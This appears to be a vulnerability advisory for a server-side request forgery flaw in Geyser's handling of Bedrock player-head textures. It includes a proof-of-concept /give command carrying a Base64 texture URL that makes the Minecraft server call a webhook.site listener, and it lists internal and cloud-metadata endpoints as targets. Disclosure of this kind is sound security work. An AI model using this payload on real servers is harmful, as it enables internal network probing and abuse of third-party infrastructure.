Geyser CVE-2026-42188

Summary

A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.

Details

Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.

When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution. However, the URL contained in the textures.SKIN.url field is not sufficiently validated.

PoC

1. Setup Environment:

• Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.
• Ensure you have a Bedrock client connected.

1. Prepare Listener:

• Go to webhook.site and obtain a unique URL (e.g., https://webhook.site/YOUR-UUID).

1. Construct Payload:

• Create a JSON payload pointing to your listener URL:

{"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}}

• Encode this JSON string to Base64.

*(You can use a terminal command: echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64)*

1. Execute Command:

• Run the following command in the Bedrock Edition client:

/give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}]

1. Verify:

• Check the webhook.site dashboard.
• You will see an HTTP GET request originating from the Minecraft Server's IP address, not the client's IP.

Impact

This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.

Affected Parties

• Minecraft servers running Geyser
• Server operators exposing internal or cloud metadata endpoints

Potential Impacts

• Internal network probing (e.g., intranet services, admin panels)
• Cloud metadata access attempts (e.g., 169.254.169.254)
• IP address disclosure of the Minecraft server
• Abuse of the server as an HTTP request proxy

Although the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for:

• Network mapping
• Firewall bypass attempts
• Cloud environment fingerprinting